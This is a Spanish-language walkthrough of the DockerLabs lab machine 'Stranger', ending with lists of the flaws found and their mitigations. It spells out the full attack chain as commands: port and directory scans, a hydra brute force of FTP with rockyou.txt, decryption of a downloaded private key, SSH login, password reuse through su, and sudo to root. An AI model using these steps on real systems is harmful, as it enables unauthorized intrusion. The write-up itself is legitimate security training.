Skip to content

Stranger

This content is not available in your language yet.

Este documento detalla la resolución completa de la máquina Stranger, desarrollada por kaikoperez para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo de este write-up es explicar de forma clara y ordenada el proceso de compromiso del sistema:

  1. Reconocimiento: Identificación de puertos, servicios y recursos accesibles.
  2. Explotación: Acceso inicial mediante fuerza bruta en el servicio FTP y descifrado de claves.
  3. Escalada de privilegios: Abuso de credenciales reutilizadas y permisos sudo para obtener acceso a root.

Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreStranger
Autorkaikoperez
DificultadMedio
Fecha27/07/2024
PlataformaDockerLabs

Desplegamos la máquina con los siguientes comandos:

Ventana de terminal
unzip Stranger.zip
sudo bash auto_deploy.sh Stranger.tar

IP asignada


Ventana de terminal
mkdir -p Stranger/{content,exploits,nmap,gobuster,scripts}
cd Stranger

Escaneo completo de puertos TCP:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 21/tcp — FTP
  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Realizamos un escaneo inicial con Feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

feroxbuster

Rutas relevantes:

Una página de bienvenida dirigida al usuario mwheeler.

index

Un blog que incluye una pista explícita:

“The password for the encrypted file is …”

strange


Ventana de terminal
feroxbuster -u http://172.17.0.2/strange -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

second scan

Rutas encontradas:

  • /private.txt — Archivo descargable que contiene datos cifrados.

  • /secret.html — Indica que:

    • El usuario para FTP es admin.
    • La contraseña está en rockyou.txt.

secret


Verificamos si existe acceso anónimo:

Ventana de terminal
nmap -sCV -p21 172.17.0.2

scan result

No se permite ftp-anon. Procedemos a fuerza bruta.


Basados en la pista, realizamos fuerza bruta al servicio FTP:

Ventana de terminal
hydra -l admin -P rockyou.txt ftp://172.17.0.2

Resultado:

hydra

Accedemos:

Ventana de terminal
ftp 172.17.0.2

Dentro encontramos:

ftp content

Descargamos:

Ventana de terminal
get private_key.pem

Sabemos que:

  • Tenemos private_key.pem
  • Tenemos una contraseña obtenida en /strange

Intentamos descifrar el archivo private_key.pem:

Ventana de terminal
openssl rsautl -decrypt -inkey private_key.pem -in private.txt -out plaintext.txt

El archivo descifrado contiene una contraseña válida para el usuario:

mwheeler

Ingresamos por SSH:

Ventana de terminal
ssh mwheeler@172.17.0.2

ssh


Recordamos que obtuvimos la contraseña del usuario admin para FTP. Probamos si también funciona como contraseña del usuario local:

Ventana de terminal
su admin

¡Funciona! La contraseña estaba reutilizada.

su admin


Verificamos privilegios:

sudo -l admin

El usuario admin puede ejecutar:

(ALL : ALL) ALL

Esto significa privilegios totales.

Obtenemos root:

Ventana de terminal
sudo su

root


  • Reutilización de contraseñas para múltiples servicios.
  • Pistas demasiado explícitas dentro de contenido web accesible públicamente.
  • Aplicación web exponiendo claves y contraseñas.
  • Uso de RSA sin una protección adecuada.
  • Permisos peligrosos en sudo otorgados a un usuario no privilegiado.

  • Usar contraseñas diferenciadas por servicio.
  • Eliminar cualquier información sensible del contenido web.
  • Implementar políticas seguras de almacenamiento de claves.
  • Restringir drásticamente los permisos sudo.
  • Implementar monitoreo de accesos y registros.